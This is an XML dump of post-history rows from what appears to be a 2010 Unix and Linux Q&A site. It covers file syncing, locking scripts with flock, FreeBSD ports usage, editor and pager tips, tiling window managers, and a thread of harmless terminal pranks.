  <row Id="506" PostHistoryTypeId="5" PostId="273" RevisionGUID="2d918230-6b14-4437-8c39-45fc17950459" CreationDate="2010-08-11T12:45:16.053" UserId="252" Comment="added 93 characters in body" Text="For one off file transfers, I usually use SFTP or an existing samba share.&#xD;&#xA;&#xD;&#xA;For keeping in sync, I suggest you try [rsync][1] or [unison][2] (for 2-way synchronization)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.samba.org/rsync/&#xD;&#xA;  [2]: http://www.cis.upenn.edu/~bcpierce/unison/index.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Edit:** `scp` would be better then `sftp`, since it would work on all SSH enabled hosts" />
  <row Id="507" PostHistoryTypeId="2" PostId="283" RevisionGUID="fc1ec189-f6cf-40df-986a-a94f5c702b22" CreationDate="2010-08-11T12:45:37.817" UserId="57" Text="nfs could be useful.&#xD;&#xA;&#xD;&#xA;The Network File System (NFS) allows a client node to perform   transparent file access over the network.  By using NFS, a client node operates on files residing on a variety of servers and server architectures, and across a variety of operating systems.  File access calls on the client (such as read requests) are converted to NFS protocol requests and sent to the server system over the network.&#xD;&#xA;  &#xD;&#xA;Thought you will be require help from your Unix Admin to setup it first time but its very useful." />
  <row Id="508" PostHistoryTypeId="2" PostId="284" RevisionGUID="5d7b28a3-9803-4c02-9a9a-e1a914fdfa68" CreationDate="2010-08-11T12:50:19.710" UserId="179" Text="What things should any self-professed UNIX expert have under their belt? I'm looking to fill any gaps in my knowledge.&#xD;&#xA;&#xD;&#xA;Some things I can think of off the bat:&#xD;&#xA;&#xD;&#xA; - Shell (interactive and scripting)&#xD;&#xA; - Common utilities (grep, ls, etc.)&#xD;&#xA; - vi (possibly Emacs too)&#xD;&#xA; - Some mix of sed / awk / Perl (preferably all)&#xD;&#xA; - Knowledge of networking standards&#xD;&#xA; - Ability to set up common programs: A mail server, file server and so on&#xD;&#xA;&#xD;&#xA;Probably forgetting a lot, obvious and not-so-obvious. What else?" />
  <row Id="509" PostHistoryTypeId="1" PostId="284" RevisionGUID="5d7b28a3-9803-4c02-9a9a-e1a914fdfa68" CreationDate="2010-08-11T12:50:19.710" UserId="179" Text="What should every expert know?" />
  <row Id="510" PostHistoryTypeId="3" PostId="284" RevisionGUID="5d7b28a3-9803-4c02-9a9a-e1a914fdfa68" CreationDate="2010-08-11T12:50:19.710" UserId="179" Text="éunixà" />
  <row Id="511" PostHistoryTypeId="5" PostId="283" RevisionGUID="49cee8b8-9bdc-444d-b667-7f8bc972d49e" CreationDate="2010-08-11T12:52:09.333" UserId="57" Comment="deleted 10 characters in body" Text="nfs could be useful.&#xD;&#xA;&#xD;&#xA;The Network File System (NFS) allows a client node to perform   transparent file access over the network.  By using NFS, a client node operates on files residing on a variety of servers and server architectures, and across a variety of operating systems.  File access calls on the client (such as read requests) are converted to NFS protocol requests and sent to the server system over the network.&#xD;&#xA;  &#xD;&#xA;You might require help from your Unix Admin to setup it first time but its very useful." />
  <row Id="512" PostHistoryTypeId="2" PostId="285" RevisionGUID="4abc22a7-66fb-4234-bd1a-c298e1359335" CreationDate="2010-08-11T12:56:31.663" UserId="179" Text="One final reason, less important than those given, is it can allow the PC to remain bootable if part of the disk is corrupted. The more partitions you have, the easier it will be to simply not mount the partition with the fault.&#xD;&#xA;&#xD;&#xA;This can be useful sometimes, but usually there's a better way anyway." />
  <row Id="513" PostHistoryTypeId="6" PostId="179" RevisionGUID="73ae3551-d58f-4d5a-8d64-1b3ee03e104d" CreationDate="2010-08-11T13:00:55.540" UserId="166" Comment="edited tags" Text="éperformanceàémonoàéûnetàéaspûnetà" />
  <row Id="514" PostHistoryTypeId="5" PostId="171" RevisionGUID="e8ccc06d-f34d-4b6f-a606-230b195ca685" CreationDate="2010-08-11T13:08:16.753" UserId="183" Comment="added hyper-links." Text="* [Emacs](http://en.wikipedia.org/wiki/Emacs)/[Vim](http://en.wikipedia.org/wiki/Vim_(text_editor))/[Eclipse](http://en.wikipedia.org/wiki/Eclipse_(software))/... - Personally I am an Emacs user.  If you find the control sequences tire your pinky, just Viper-Mode it up.  Emacs is so well integrated into unix, making it very easy to control everything all from one place.  Vim also does a good job here, but I find Elisp to be a much more powerful extension language than Vim Script.  One could talk for hours about all of the ways to set up Emacs for C development.  [Flymake Mode](http://flymake.sourceforge.net/) has been mentioned, and is a super start to things.  I am not familiar with Eclipse, I do not find it leaves enough room on my screen for code, nor do I like how bloated it is(Vim users will say the same thing about Emacs).  I am also unfairly biased against anything written in Java, for purely aesthetic reasons.&#xD;&#xA;&#xD;&#xA;* [Ctags](http://en.wikipedia.org/wiki/Ctags) - Tags your C(or many other language) functions so that Vim or Emacs or whatever can do a little bit of hyper-text linking in your files.  Say you're wandering around and you see a function and you're scratching your head saying &quot;What does that one do again? The naming is a bit vague.&quot; Plink-plank-plunk, you can zap straight to it's definition.&#xD;&#xA;&#xD;&#xA;* [Cmake](http://en.wikipedia.org/wiki/CMake)/[Gnu-Autotools](http://en.wikipedia.org/wiki/GNU_build_system) - Make is great, but at some point you need to abstract things a bit so that your project can build itself on all sorts of systems you have no way of testing for.  If you only need people to build your code on a *nix, Autotools is great, but realy you should familiarize yourself with Cmake anyway.  The Cmake team build code in every conceivable configuration possible and make sure that you don't have to go through the headache.  If you want your project to be easily picked up buy others, one of these tools is crucial.&#xD;&#xA;&#xD;&#xA;* [Git](http://en.wikipedia.org/wiki/Git_(software\))/[Mercurial](http://en.wikipedia.org/wiki/Mercurial)/[Subversion](http://en.wikipedia.org/wiki/Subversion_(software\))/... - You could spend months researching version control software, but you should probably just go with Git.  It's solid, it's distributed, the @$!#%&amp; Linux Kernel is tracked with it.  If it's good enough for Linus, it's got to be good enough for you.  I also hear good things about Mercurial, apparently G**gle uses them, so it's probably not bad.  Some people appear to like Subversion and CVS and whatnot.  I don't like them because they are monolithic, which to me is very inconvenient and limiting.  &#xD;&#xA;&#xD;&#xA;* [Stumpwm](http://www.nongnu.org/stumpwm)/[wmii](http://en.wikipedia.org/wiki/Wmii)/[XMonad](http://en.wikipedia.org/wiki/Xmonad)/... - At some point you're going to realize that anything you can do to keep your work flowing is going to greatly improve your output.  One of the best ways to keep your brain from breaking it's context is to switch to tiling, KEYBOARD DRIVEN window managers.  I am a personal fan of StumpWM, the Emacs of window managers.  Fully implemented in an on-the-fly customizable Common Lisp process, anything you find yourself doing repetitiously can be banished away into functions and bound to commands.  Great stuff.  I don't know much about any of the others, but maybe further elaboration is better left to another thread.  USE KEYBOARD AS MUCH AS POSSIBLE.&#xD;&#xA;&#xD;&#xA;* [GDB](http://en.wikipedia.org/wiki/Gdb) - I'm not familiar with other debuggers, but this appears to be the de-facto standard.&#xD;&#xA;&#xD;&#xA;* [Valgrind](http://en.wikipedia.org/wiki/Valgrind) - I don't know of anything else that does what this does so well. Valgrind is crucial for all those pesky profiling/memory leak hunts you want to go on.  You just can't write code with malloc/calloc without Valgrind." />
  <row Id="515" PostHistoryTypeId="2" PostId="286" RevisionGUID="0ab3f550-9902-4dcc-8ce0-e34a8a1d5d22" CreationDate="2010-08-11T13:09:13.647" UserId="57" Text="From Development point of view :&#xD;&#xA;&#xD;&#xA; 1. You should know how to use vim with cscope and ctags, this will help you to understand other peoples code faster. We learn alot from others code as well.&#xD;&#xA; 2. Source control tools like CVS , svn etc.&#xD;&#xA; 3. Debuggers e.g. gdb ,dbx&#xD;&#xA;&#xD;&#xA;" />
  <row Id="520" PostHistoryTypeId="2" PostId="289" RevisionGUID="645fc518-5af5-4ae0-9a14-f2fbc917ddb7" CreationDate="2010-08-11T13:25:46.947" UserId="85" Text="If you're using C#/Mono, you can use msbuild (the .sln/.csproj files used by MonoDevelop and Visual Studio) to manage your entire build process.&#xD;&#xA;&#xD;&#xA;You can then either build from MonoDevelop, or run the `xbuild` command in your favorite terminal (works best in Mono &gt;= 2.6).  This is extremely easy and requires pretty much no work on your part, because MonoDevelop will handle the msbuild files for you, and you won't need to edit them unless you want to tweak things beyond what MonoDevelop's UI can do for you.&#xD;&#xA;&#xD;&#xA;I'm not familiar with how people who depend on msbuild handle the installs for their projects, but you could always ask that. ;-)" />
  <row Id="521" PostHistoryTypeId="6" PostId="284" RevisionGUID="3567aa9f-9823-44ed-9618-5c0efbac9aed" CreationDate="2010-08-11T13:31:18.773" UserId="5" Comment="edited tags" Text="éunixàésubjectiveà" />
  <row Id="523" PostHistoryTypeId="2" PostId="290" RevisionGUID="50fd1373-4bf7-4f76-9c26-51afb78c6160" CreationDate="2010-08-11T13:32:10.923" UserId="292" Text="One can also use the mark feature to remember (and jump back to) specific positions in the file.&#xD;&#xA;&#xD;&#xA;For example, type `ma` to mark a position with the label `&quot;a&quot;`. To jump back to the position, simply type `'a`. Labels can be any alphabet (case sensitive) thus allowing up to 52 possible marks ([a-zA-Z]) although I seldom use more than 2." />
  <row Id="524" PostHistoryTypeId="6" PostId="284" RevisionGUID="0b2147b2-8c49-4096-805b-654125cb4f9b" CreationDate="2010-08-11T13:34:14.680" UserId="73" Comment="edited tags" Text="éunixà" />
  <row Id="527" PostHistoryTypeId="2" PostId="291" RevisionGUID="d1cd77e1-38b3-48cd-ba4f-550b14fc8558" CreationDate="2010-08-11T13:41:20.760" UserId="210" Text="[`flock(1)`][1]&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    # Makes sure we exit if flock fails.&#xD;&#xA;    set -e&#xD;&#xA;    &#xD;&#xA;    (&#xD;&#xA;      # Wait for lock on /var/lock/.myscript.exclusivelock (fd 200) for 10 seconds&#xD;&#xA;      flock -x -w 10 200&#xD;&#xA;      &#xD;&#xA;      # Do stuff&#xD;&#xA;      &#xD;&#xA;    ) 200&gt;/var/lock/.myscript.exclusivelock&#xD;&#xA;&#xD;&#xA;This ensures that code between &quot;(&quot; and &quot;)&quot; is run only by one process at a time and that the process does wait for a lock too long.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/flock" />
  <row Id="529" PostHistoryTypeId="2" PostId="292" RevisionGUID="6192c8d0-ddce-4cc6-8742-20b7024b3101" CreationDate="2010-08-11T14:03:21.113" UserId="297" Text="-S (either at command line or typing '-' and 'S' while running less) chops long lines and is helpful when viewing e.g. log files. Type '-' and 'S' again to switch back." />
  <row Id="530" PostHistoryTypeId="2" PostId="293" RevisionGUID="deabc35c-fadd-4b8b-a859-2ec31c7dd074" CreationDate="2010-08-11T14:13:00.640" UserId="27" Text="My favorite is logging in to a nearby computer and playing cricket or frog sounds.&#xD;&#xA;&#xD;&#xA;While working away in Miami FL, I had my whole family, back in Oregon, searching for a frog in the garage." />
  <row Id="531" PostHistoryTypeId="16" PostId="293" RevisionGUID="deabc35c-fadd-4b8b-a859-2ec31c7dd074" CreationDate="2010-08-11T14:13:00.640" UserId="-1" />
  <row Id="532" PostHistoryTypeId="2" PostId="294" RevisionGUID="1667d6fd-d33f-4d8a-ba1f-ba1ba6c5dc47" CreationDate="2010-08-11T14:38:18.033" UserId="298" Text="Back in school, in the CS lab (sun workstations at the time) I compiled mpg123 from source in my home directory (that was fun) and then whenever anyone would walk out of the lab (w/out locking their workstation), I would modify their .cshrc (the workstations default shell) to play &quot;Imagine&quot; by John Lennon whenever they logged in.  It amused me to no end hearing that song, playing ever so quietly (the workstations only had internal speakers) from all over the lab any time of day or night that I walked in." />
  <row Id="533" PostHistoryTypeId="16" PostId="294" RevisionGUID="1667d6fd-d33f-4d8a-ba1f-ba1ba6c5dc47" CreationDate="2010-08-11T14:38:18.033" UserId="-1" />
  <row Id="534" PostHistoryTypeId="2" PostId="295" RevisionGUID="dca2561f-68ac-4cdf-9a79-505634c10362" CreationDate="2010-08-11T14:40:12.383" UserId="280" Text="I think it's best to describe Darwin as just another flavour of UNIX. Solaris is one. HP/UX is another. There are lots more, maybe not as &quot;high-profile&quot; but they're there.&#xD;&#xA;And with every flavour comes its own specifics. That's why there are flavours in the first place. Some company thinks up something which would help selling it (or simply working with it or even administrating it) and creates it and gives it its own name.&#xD;&#xA;" />
  <row Id="535" PostHistoryTypeId="2" PostId="296" RevisionGUID="76a9636a-df0d-44b9-8e9f-cf3267c22e89" CreationDate="2010-08-11T14:44:11.517" UserId="298" Text="As a UNIX expert, you should, at a minimum, be able to:&#xD;&#xA;&#xD;&#xA; - Build your system from source &#xD;&#xA; - Apply source patches to your system&#xD;&#xA; - Troubleshoot any problem you encounter &#xD;&#xA; - Understand what obscure knobs in your kernel do, and why you&#xD;&#xA;   should probably not touch them&#xD;&#xA; - Administer your system&#xD;&#xA; - Protect your system&#xD;&#xA; - Maintain your system&#xD;&#xA; - Connect your system to other systems" />
  <row Id="536" PostHistoryTypeId="2" PostId="297" RevisionGUID="5db310a5-b810-4a72-8e30-d17b09c7f9e3" CreationDate="2010-08-11T14:44:59.343" UserDisplayName="execve" Text="Heres a harmless prank. &#xD;&#xA;&#xD;&#xA;You will be surprised how many people dont know about the tty stop character. So when your victim leaves his or her terminal, stop the terminal using Ctrl-S (thats what it generally is, stty -a would show you the key on that terminal). And then when the victim comes back, he or she will be trying hard to get the terminal back to life... &#xD;&#xA;&#xD;&#xA;And if you find someone who keeps leaving his terminal.... you are really in luck!" />
  <row Id="537" PostHistoryTypeId="16" PostId="297" RevisionGUID="5db310a5-b810-4a72-8e30-d17b09c7f9e3" CreationDate="2010-08-11T14:44:59.343" UserId="-1" />
  <row Id="538" PostHistoryTypeId="2" PostId="298" RevisionGUID="7e2a43c5-df6c-4838-8e0e-d30996331a76" CreationDate="2010-08-11T15:00:39.150" UserId="228" Text="The OpenSUSE Build System support multiple distributions and supports the environment that you describe, a sandboxed environment to ensure that the builds are consistent and reliable:&#xD;&#xA;&#xD;&#xA;https://build.opensuse.org/&#xD;&#xA;&#xD;&#xA;You can also install the OpenSUSE Build System as an appliance.   This is a self-contained Linux VM image (VMware, QEmu, or ISO versions are supported) that contain the entire stack to set up your own build farms:&#xD;&#xA;&#xD;&#xA;http://en.opensuse.org/openSUSE:Build_Service_Appliance" />
  <row Id="539" PostHistoryTypeId="2" PostId="299" RevisionGUID="eb382942-08a3-4c57-b77f-7c8a26b91539" CreationDate="2010-08-11T15:01:18.370" UserId="71" Text="If you're doing C development under Unix/Linux, you absolutely have to be using [Cscope][1] if the project is any significant size.&#xD;&#xA;&#xD;&#xA;Cscope is a developer's tool for browsing source code -- jump to function `foobar`'s definition, find all places where the variable `foo` is referenced, find all files including `bar.h`, change all occurrences of `bar` into `baz`, etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Also, you mentioned Vim in your post... [here is a tutorial][2] on using Vim &amp; Cscope together.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cscope.sourceforge.net/&#xD;&#xA;  [2]: http://cscope.sourceforge.net/cscope_vim_tutorial.html" />
  <row Id="540" PostHistoryTypeId="16" PostId="299" RevisionGUID="eb382942-08a3-4c57-b77f-7c8a26b91539" CreationDate="2010-08-11T15:01:18.370" UserId="-1" />
  <row Id="541" PostHistoryTypeId="2" PostId="300" RevisionGUID="bd10d397-1623-4650-be06-51973fdb4bed" CreationDate="2010-08-11T15:03:44.183" UserDisplayName="Rolf Bjarne Kvinge" Text="For C# you can use &lt;a href='http://www.mono-project.com/Microsoft.Build'&gt;xbuild&lt;/a&gt; (and msbuild on windows), which will build the project from your project files." />
  <row Id="542" PostHistoryTypeId="10" PostId="284" RevisionGUID="a7d85c9b-3ede-40eb-912d-1d079dfdf58e" CreationDate="2010-08-11T15:06:17.233" UserId="-1" CloseReasonId="3" Text="[{&quot;Id&quot;:5,&quot;DisplayName&quot;:&quot;txwikinger&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;},{&quot;Id&quot;:292,&quot;DisplayName&quot;:&quot;lsc&quot;},{&quot;Id&quot;:78,&quot;DisplayName&quot;:&quot;Eimantas&quot;},{&quot;Id&quot;:179,&quot;DisplayName&quot;:&quot;tsv&quot;}]" />
  <row Id="543" PostHistoryTypeId="2" PostId="301" RevisionGUID="8ebd0256-4c1c-4818-9efb-109a69d8e979" CreationDate="2010-08-11T15:08:18.307" UserId="71" Text="Way back when I was in university, working late night on a project on a Unix terminal (just a tty, not X Windows), all of a sudden messages like &quot;Are you hungry?&quot; &quot;Why are you still working?&quot; &quot;Deadline is tomorrow, just give up &amp; go to sleep!&quot; started appearing on my screen.&#xD;&#xA;&#xD;&#xA;Turns out a buddy was across the room, `cat`'ing or `echo`'ing to `/dev/pts/&lt;whatever&gt;` -- the messages showed up directly on my terminal, without any kind of attribution (unlike `write` or `wall`).&#xD;&#xA;&#xD;&#xA;These days systems are more locked down, I doubt it's as easy to find writeable terminal devices.  Unfortunately this was many many years ago, so I haven't tried it in a long time, maybe there is a different way to do it now." />
  <row Id="544" PostHistoryTypeId="16" PostId="301" RevisionGUID="8ebd0256-4c1c-4818-9efb-109a69d8e979" CreationDate="2010-08-11T15:08:18.307" UserId="-1" />
  <row Id="545" PostHistoryTypeId="2" PostId="302" RevisionGUID="605b904d-2560-44be-bdd7-305b9791e830" CreationDate="2010-08-11T15:15:22.030" UserId="234" Text="The system call mkdir() is atomic on POSIX filesystems.  So, using the &lt;code&gt;mkdir&lt;/code&gt; command in such a way that it involves exactly one call to 'mkdir()' would achieve your purpose.  (IOW, don't use &lt;code&gt;mkdir -p&lt;/code&gt;).  The corresponding unlock is &lt;code&gt;rmdir&lt;/code&gt; of course.&#xD;&#xA;&#xD;&#xA;Caveat emptor: mkdir() might not be atomic on network filesystems.&#xD;&#xA;" />
  <row Id="546" PostHistoryTypeId="2" PostId="303" RevisionGUID="6612f948-ef8d-43e6-bd35-1590a450d995" CreationDate="2010-08-11T15:15:28.613" UserId="71" Text="I've used [this re-direction script prank][1] inside my office to turn browser images upside down.&#xD;&#xA;&#xD;&#xA;You'd be amazed to see how people panic when they think they've acquired some type of virus.&#xD;&#xA;&#xD;&#xA;You can also use the prank to make images blurry (you choose the degree of blurriness), pretty funny when you don't overdo it -- people think their eyes are tired or the monitor is wonky.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ex-parrot.com/pete/upside-down-ternet.html" />
  <row Id="547" PostHistoryTypeId="16" PostId="303" RevisionGUID="6612f948-ef8d-43e6-bd35-1590a450d995" CreationDate="2010-08-11T15:15:28.613" UserId="-1" />
  <row Id="548" PostHistoryTypeId="5" PostId="301" RevisionGUID="6c543775-2c07-43b2-8344-30d20a8b4e6e" CreationDate="2010-08-11T15:16:07.990" UserId="71" Comment="added 23 characters in body" Text="Way back when I was in university, working late night on a project on a Unix terminal (just a tty, not X Windows), all of a sudden messages like &quot;Are you hungry?&quot; &quot;Why are you still working?&quot; &quot;Deadline is tomorrow, just give up &amp; go to sleep!&quot; started appearing on my screen.&#xD;&#xA;&#xD;&#xA;Turns out a buddy was across the room, `cat`'ing or `echo`'ing to my terminal's device (`/dev/pts/&lt;whatever&gt;`) -- the messages showed up directly on my terminal, without any kind of attribution (unlike `write` or `wall`).&#xD;&#xA;&#xD;&#xA;These days systems are more locked down, I doubt it's as easy to find writeable terminal devices.  Unfortunately this was many many years ago, so I haven't tried it in a long time, maybe there is a different way to do it now." />
  <row Id="549" PostHistoryTypeId="2" PostId="304" RevisionGUID="a570a81e-4654-47e8-83a1-bca8b4eca9fa" CreationDate="2010-08-11T15:24:39.650" UserId="69" Text="One I really like is to alias ls=&quot;sl&quot; (requires sl installed, which may or may not be a problem). &#xD;&#xA;&#xD;&#xA;For those not in the know, sl is a program that, being a common typo of ls, was created to train you out of typing sl. It displays a rolling choo choo train, that you can't break out of with C-c or C-d (unless `-e` is passed).&#xD;&#xA;&#xD;&#xA;You can even make it do different things with some parameters. Per sl(6):&#xD;&#xA;&#xD;&#xA;       OPTIONS&#xD;&#xA;&#xD;&#xA;           -a     An accident seems to happen. You'll feel pity for people who cry for help.&#xD;&#xA;&#xD;&#xA;           -l     shows little one.&#xD;&#xA;&#xD;&#xA;           -F     It flies.&#xD;&#xA;&#xD;&#xA;           -e     Allow interrupt by Ctrl+C.&#xD;&#xA;&#xD;&#xA;I don't recommend using -e if you're going to mess with your coworkers, but the rest have some serious laugh potential." />
  <row Id="550" PostHistoryTypeId="16" PostId="304" RevisionGUID="a570a81e-4654-47e8-83a1-bca8b4eca9fa" CreationDate="2010-08-11T15:24:39.650" UserId="-1" />
  <row Id="551" PostHistoryTypeId="2" PostId="305" RevisionGUID="bf76c32e-064b-4835-8415-e2a11d67c455" CreationDate="2010-08-11T15:26:03.707" UserId="301" Text="How can I get tiling windows in GNOME?" />
  <row Id="552" PostHistoryTypeId="1" PostId="305" RevisionGUID="bf76c32e-064b-4835-8415-e2a11d67c455" CreationDate="2010-08-11T15:26:03.707" UserId="301" Text="Tiling windows in GNOME" />
  <row Id="553" PostHistoryTypeId="3" PostId="305" RevisionGUID="bf76c32e-064b-4835-8415-e2a11d67c455" CreationDate="2010-08-11T15:26:03.707" UserId="301" Text="élinuxàétilingàégnomeà" />
  <row Id="554" PostHistoryTypeId="2" PostId="306" RevisionGUID="9ebae91f-8a96-4c50-981b-c8882e0f385c" CreationDate="2010-08-11T15:36:05.533" UserId="73" Text="GNOME is a **desktop environment**; it's not responsible for handling your windows. You need to change your **window manager**, which does handle that sort of thing. There are quite a few [tiling window managers for X](http://en.wikipedia.org/wiki/Tiling_window_manager#List_of_tiling_window_managers_for_X) you can experiment with" />
  <row Id="555" PostHistoryTypeId="2" PostId="307" RevisionGUID="f77a4726-add9-48c9-830d-6e5c4c54a07d" CreationDate="2010-08-11T15:40:14.657" UserId="301" Text="I'd like to write a couple of fastcgi application in c#.&#xD;&#xA;&#xD;&#xA;I know that Mono can run ASP.NET on fastcgi enabled web servers, but that is not what I need.&#xD;&#xA;&#xD;&#xA;Is there any FastCGI library working for .NET/Mono?&#xD;&#xA;" />
  <row Id="556" PostHistoryTypeId="1" PostId="307" RevisionGUID="f77a4726-add9-48c9-830d-6e5c4c54a07d" CreationDate="2010-08-11T15:40:14.657" UserId="301" Text="FastCGI library for C#/Mono" />
  <row Id="557" PostHistoryTypeId="3" PostId="307" RevisionGUID="f77a4726-add9-48c9-830d-6e5c4c54a07d" CreationDate="2010-08-11T15:40:14.657" UserId="301" Text="émonoàéfastcgià" />
  <row Id="558" PostHistoryTypeId="2" PostId="308" RevisionGUID="fc27b760-548b-4deb-92e4-8cbb97eb8667" CreationDate="2010-08-11T15:45:44.953" UserId="102" Text="It depends a bit what you mean by tiling: Permanently tiling or just temporary to get an overview and select a window? If you use compiz (&quot;Desktop effects&quot;) the latter is possible by pressing Super+W (Super is normally the &quot;Windows&quot;-Key). For &quot;permanent&quot; tiling:&#xD;&#xA;&#xD;&#xA;**Tile windows with compiz:**&#xD;&#xA;&#xD;&#xA;Install the Compiz Settings manager (e.g. package **compizconfig-settings-manager** for Ubuntu) and the additional plugins (again for Ubuntu: **compiz-fusion-plugins-extra**). Then activate the **Grid** plugin -- then you can use Ctrl+Alt and a number on your keypad to move and resize the window so that it fits an imaginary grid. This allows very comfortable tiling.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Tile windows without compiz:**&#xD;&#xA;&#xD;&#xA;If you do not use compiz, there is a gnome applet that allows tiling: http://www.giuspen.com/x-tile/" />
  <row Id="559" PostHistoryTypeId="2" PostId="309" RevisionGUID="ca9decd8-c72c-47dc-9f5c-f602db5b0450" CreationDate="2010-08-11T15:55:34.310" UserId="45" Text="The package repositories used by zypper are very complete and there are a number of extra channels you can add easily. &#xD;&#xA;&#xD;&#xA;Checkout http://software.opensuse.org for more community built packages and repositories. " />
  <row Id="560" PostHistoryTypeId="2" PostId="310" RevisionGUID="511d1ec1-71c5-465e-bc91-b3fd5135784c" CreationDate="2010-08-11T15:55:35.947" UserId="160" Text="A summary for using the Ports Collection in FreeBSD:&#xD;&#xA;&#xD;&#xA;**Find Port**&#xD;&#xA;&#xD;&#xA;Ports are organized by category so if you don't know what category the port is in you have to find it first:&#xD;&#xA;&#xD;&#xA;    cd /usr/ports&#xD;&#xA;    make search name=myport&#xD;&#xA;&#xD;&#xA;Sometimes there are too many entries that way. I personally prefer:&#xD;&#xA;&#xD;&#xA;    find /usr/ports -name myport* -print -depth 2&#xD;&#xA;&#xD;&#xA;Use the `*` when searching since there are often multiple versions of a port available.  The depth argument ensures your return results aren't needlessly cluttered with matches you are unlikely to want.&#xD;&#xA;&#xD;&#xA;**Configuration**&#xD;&#xA;&#xD;&#xA;Often, you'll want to do some configuration; software such as Apache and Postgres practically require it.  There are three main choices: command line, environment and make configuration files.  To get started with the command line:&#xD;&#xA;&#xD;&#xA;    make showconfig&#xD;&#xA;&#xD;&#xA;this will list the default configuration options.  If you like the defaults you are ready to compile and install.  If not, &#xD;&#xA;&#xD;&#xA;    make config&#xD;&#xA;&#xD;&#xA;will bring up a dialog box where you can select which options you want. *(Don't become confused with this and `make configure` which configures your port with your chosen options!)*  This is often sufficient but for some software, like Apache, there is often complex configuration that a simple dialog won't handle.  For this, you also should look at the Makefile(s) which will sometimes give you some additional targets for make that will give you more information.  To continue the Apache example&#xD;&#xA;&#xD;&#xA;    make show-modules&#xD;&#xA;    make show-options&#xD;&#xA;    make show-categories&#xD;&#xA;&#xD;&#xA;will give you information on setting up you chosen modules, thread options and the like. If your port's defaults are mostly fine and you just want to change a few things, you can also just pass key=value pairs like environment variables:&#xD;&#xA;&#xD;&#xA;    make MYVBL1=MYVAL1 ... install clean&#xD;&#xA;&#xD;&#xA;Also, you can set switch options via the `-D` option:&#xD;&#xA;&#xD;&#xA;    make -D MYVAR -D MYOTHERVAR ... install clean&#xD;&#xA;&#xD;&#xA;For complex configuration however the command line won't work well and you're better neither of the first two methods will be effective.  In this case you can make a configuration file and pass that to `make` with the __MAKE_CONF variable.  FreeBSD has a default configuration file: `/etc/make.conf` which usually contains information on previously installed ports and other system settings.  To begin, create a file with your ports options, call it `~/myport.mk` and then combine that file with /etc/make.conf:&#xD;&#xA;&#xD;&#xA;    cat /etc/make.conf ~/myport.mk &gt;&gt; ~/make.myport.conf&#xD;&#xA;&#xD;&#xA;you can then double check your configuration:&#xD;&#xA;&#xD;&#xA;    make showconfig __MAKE_CONF=~/make.port.conf&#xD;&#xA;&#xD;&#xA;and if everything looks good:&#xD;&#xA;&#xD;&#xA;    make install clean __MAKE_CONF=~/make.myport.conf&#xD;&#xA;&#xD;&#xA;BEWARE! If you need to adjust your configuration settings after `make configure` or an installation in whole or part you *absolutely must clear your configuration first*:&#xD;&#xA;&#xD;&#xA;    make rmconfig&#xD;&#xA;&#xD;&#xA;Failure to do so will result in unexpected interactions between the ports subsystem, your port's `make` defaults and your desired configuration.&#xD;&#xA;&#xD;&#xA;That's kind of a lot for a summary, but the complexity of configuration is mostly about the app, not the port.  Bash for example, doesn't really have any options.&#xD;&#xA;&#xD;&#xA;**Installation**&#xD;&#xA;&#xD;&#xA;This is the easy part:&#xD;&#xA;&#xD;&#xA;    make install clean&#xD;&#xA;&#xD;&#xA;or you can &#xD;&#xA;&#xD;&#xA;    make build&#xD;&#xA;    make install&#xD;&#xA;    make clean&#xD;&#xA;&#xD;&#xA;which is just more typing.&#xD;&#xA;&#xD;&#xA;That's pretty much it.  Obviously there is more you can do such as recursively listing dependencies and configuration options, update with patches and so on.  Here I will refer you to the [Ports](http://www.freebsd.org/doc/handbook/ports-using.html) section of the [Handbook](http://www.freebsd.org/doc/handbook), the port subsystem's man page (good info on additional make targets) and the `make` man page." />
  <row Id="562" PostHistoryTypeId="2" PostId="312" RevisionGUID="40e84485-9c34-4843-881d-2eed437b0c53" CreationDate="2010-08-11T15:58:31.453" UserId="304" Text="&#xD;&#xA;When all you have is a serial console (say via telnet through a terminal server), what methods can be used to transfer files in/out of a host?&#xD;&#xA;&#xD;&#xA;Cut/paste works for the small/printable stuff and I've played with a combination of uuencode/uudecode (with gzip) handle the unprintable but it's all very limiting.&#xD;&#xA;" />
  <row Id="563" PostHistoryTypeId="1" PostId="312" RevisionGUID="40e84485-9c34-4843-881d-2eed437b0c53" CreationDate="2010-08-11T15:58:31.453" UserId="304" Text="How to get file to a host when all you have is a serial console?" />
  <row Id="564" PostHistoryTypeId="3" PostId="312" RevisionGUID="40e84485-9c34-4843-881d-2eed437b0c53" CreationDate="2010-08-11T15:58:31.453" UserId="304" Text="ésolarisàéconsoleàéserialà" />
  <row Id="565" PostHistoryTypeId="2" PostId="313" RevisionGUID="51069e41-69b5-4508-89c5-43edc78c8489" CreationDate="2010-08-11T15:59:28.457" UserId="45" Text="Do you mean something like a servlet interface? &#xD;&#xA;&#xD;&#xA;You could pretty easily emulate something like this using an ASPX HTTP Handler.  You simply inherit from IHttpAsyncHandler and you'll get a BeginProcessRequest method and an EndProcessRequest method. &#xD;&#xA;&#xD;&#xA;In your BeginRequest handler you can do context.Response.Write ();&#xD;&#xA;&#xD;&#xA;" />
  <row Id="566" PostHistoryTypeId="5" PostId="151" RevisionGUID="4cda227e-239b-487a-948a-0d36c80c4646" CreationDate="2010-08-11T16:07:38.577" UserId="160" Comment="Changed highlight to show in &amp; example" Text=" - `u` - up half page&#xD;&#xA; - `d` - down half page&#xD;&#xA; - `k` - scroll single line up&#xD;&#xA; - `j` - scroll single line down&#xD;&#xA; - `-i` - case insensitive searching unless pattern contains capitals (as clo or in less)&#xD;&#xA; - `/ /pattern/` - search (used with n)&#xD;&#xA; - `-p /pattern/` open file at /pattern/ (as clo)&#xD;&#xA; - `&amp; /pattern/` show lines containing /pattern/ (like grep)" />
